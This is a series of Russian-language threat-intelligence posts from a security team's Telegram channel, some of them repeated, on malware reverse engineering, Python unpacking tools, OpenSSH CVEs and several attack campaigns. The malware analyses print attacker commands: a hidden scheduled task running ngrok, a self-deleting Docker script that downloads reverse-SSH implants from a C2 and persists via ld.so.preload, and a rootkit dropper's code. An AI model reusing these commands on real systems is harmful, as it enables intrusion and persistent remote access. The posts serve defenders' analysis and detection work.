Статический резолв импортов 👨💻
Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.
😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.
Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.
Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.
Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам
Функция
На выходе
Функция
Функция
Однако на самом деле функция возвращает объект типа
Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.
Есть, конечно, соблазн написать функцию
#tip #reverse #idapython
@ptescalator
Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.
Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.
Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.
Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам
get_proc_by_hash и извлечет ее аргументы.def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)
cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)
return result
Функция
get_args поднимается на несколько шагов вверх от операции call и извлекает аргументы.def get_args(call_addr):
func_name_hash = None
lib_name = None
cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()
if func_name_hash and lib_name:
return lib_name, func_name_hash
cur = ida_search.find_code(cur, SEARCH_UP)
На выходе
get_hashes получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))
funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):
lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]
func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)Функция
get_func_name проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None
Функция
ida_typeinf.get_named_type получает информацию о типе, который содержится в Type Library (*.til). Вызов выглядит так:Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)Однако на самом деле функция возвращает объект типа
ida_typeinf.tinfo_t.Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.
Есть, конечно, соблазн написать функцию
make_beautifully, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23❤10👍10
Инструменты для работы с Python 😦
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны🐱 🐱 🐱
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller, py2exe и со скомпилированными файлами .pyc.PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥15❤10❤🔥1
😁21🔥9👏9
Что произошло с безопасностью OpenSSH в 2024 году 🚪
Взглянем на таймлайн:
• Весна. Бэкдор в xz-utils ((то есть скорее речь об атаке на цепочку поставок этих дистрибутивов, а не конкретно на OpenSSH) .
• Июль. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (
• Все тот же июль. Опубликована схожая проблема, получившая идентификатор
• Август. Еще одна, уже специфичная для FreeBSD,
❔ Что это вообще было
Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс
Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в
🔣 И теперь все это с технической базой и экскурсом на 30 секунд доступно в нашем блоге на Хабре. Enjoy!
#CVE #escvr
@ptescalator
Взглянем на таймлайн:
• Весна. Бэкдор в xz-utils (
CVE-2024-3094). В результате его внедрения были скомпрометированы системы с systemd, в которых в OpenSSH есть зависимость liblzma, отсутствующая в нем изначально и самим OpenSSH напрямую не используемая • Июль. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (
CVE-2024-6387) и представляющая собой перерожденную CVE-2006-5051.• Все тот же июль. Опубликована схожая проблема, получившая идентификатор
CVE-2024-6409.• Август. Еще одна, уже специфичная для FreeBSD,
CVE-2024-7589.Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс
sshd) — ставит под угрозу безопасность множества SSH-серверов с glibc. Эксплуатация уязвимости не требует особой конфигурации сервера (проблема актуальна и для конфигурации по умолчанию). Но при этом публичного PoC нет до сих пор.Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в
sshd призваны не допустить эксплуатации этой уязвимости или хотя бы уменьшить ущерб в случае успешной атаки. Попутно провели обзор и остальных уязвимостей OpenSSH прошедшего года.#CVE #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍11🥴3🤡2👻2❤1✍1
Rare Wolf готовится к охоте 🐺
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
Использование ngrok:
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
Изменение рабочей директории: теперь вместо скрытой папки
Модернизирован также файл
В предыдущих атаках
Кроме того, в тестируемой злоумышленниками атаке появились файлы
🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
.scr/.exe, мимикрирующий под легитимный документ. При открытии исполняемого файла создается все тот же скрипт cmd, но под новым именем, find.cmd, и запускается документ-заглушка. Скрипт отвечает за запуск следующих этапов атаки: скачивание инструментов для последующей атаки, настройку данных для отправки найденной информации по почте и установку AnyDesk. Среди новых шагов мы приметили следующие.Использование ngrok:
C:\Users\admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\admin\AppData\Roaming\Windows\pas.rar ngrok.exe C:\Users\admin\AppData\Roaming\Windows\ /y
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
schtasks /create /tn "Find update" /tr "C:\Users\admin\AppData\Roaming\Windows\nircmd.exe exec hide C:\Users\admin\AppData\Roaming\Windows\task.bat" /sc onlogon /rl highest /f
Изменение рабочей директории: теперь вместо скрытой папки
C:\Intel используется %APPDATA%\Windows.Модернизирован также файл
bat.bat. Теперь он отвечает за сбор данных о системе, их отправку на почтовый сервер и запуск нового ssh.ps1, который открывает 22-й порт и запускает сервис sshd. А добавленный в автозапуск task.bat, возможно, написанный с помощью нейросети (судя по комментариям на русском языке в коде), отвечает за запуск ngrok и его скрытие с помощью NirCmd, чтобы пользователь не видел консольного окна.В предыдущих атаках
rezet.cmd собирал файлы по расширениям (doc, docx, pdf и т. п.), а bat.bat искал данные, связанные с криптокошельками. В новых семплах этих действий нет.Кроме того, в тестируемой злоумышленниками атаке появились файлы
ps.ps1 и bat1.bat. Они не запускаются в текущей версии атаки, но тоже предположительно написаны с помощью нейросетей и могут быть предназначены для запуска вручную. Файл bat1.bat сканирует сеть на наличие активных устройств, находит общие папки Users и копирует вредоносный файл .SCR в директории Downloads, Desktop и Public. Затем он запускает ps.ps1, который ставит в автозагрузку запуск Edge и удаляет предыдущий скрипт.🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍12👏5❤2😁1
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе🐱 .
IoCs:
#ti #pypi #pyanalysis #scs
@ptescalator
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе
IoCs:
пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍10❤8❤🔥2
ESCalator
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳 Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший…
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣57😱11❤6😁3
(Ex)Cobalt в контейнере 🛂
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
#ir #ioc #malware
@ptescalator
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
/var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+. Она содержит слои контейнеров:/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
docker save myimage:latest | gzip > myimage_latest.tar.gz
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
COPY, которая копировала файл update в образ, и команды запуска скрипта /bin/bash /update. Затем модифицированный образ был загружен в локальный Docker Registry.{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
update:#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
/etc/ld.so.preload./usr/lib/x86_64-linux-gnu/libssoc.so — образец ExСobalt Launcher запускает процессы /usr/bin/checks и /usr/bin/processes.🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
leo.rpm-bin.link
mirror.dpkg-source.info
e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa
#ir #ioc #malware
@ptescalator
🔥23✍9🆒7👍1
«Прикрепляю данные во вложении» 💌
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
2️⃣
3️⃣
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
🙌 Модуль
📧 Транспорт
Результаты выполнения команд, которые записываются отдельными файлами в каталог
👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
#ti #malware #tips #ioc
@ptescalator
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
messenger.py — транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.2️⃣
agent.elf — основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.3️⃣
maldrv.ko — LKM-руткит. Используется для повышения привилегий агента.int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
finit_module и запускает агент. 🙌 Модуль
maldrv.ko перехватывает системный вызов execve. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).📧 Транспорт
messenger.py использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text или plain, записывая ее в файл /root/.output/.output.txt. После получения письмо с командой удаляется из почтового ящика. Результаты выполнения команд, которые записываются отдельными файлами в каталог
/root/.output/, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4
#ti #malware #tips #ioc
@ptescalator
👍20🔥17❤10🆒1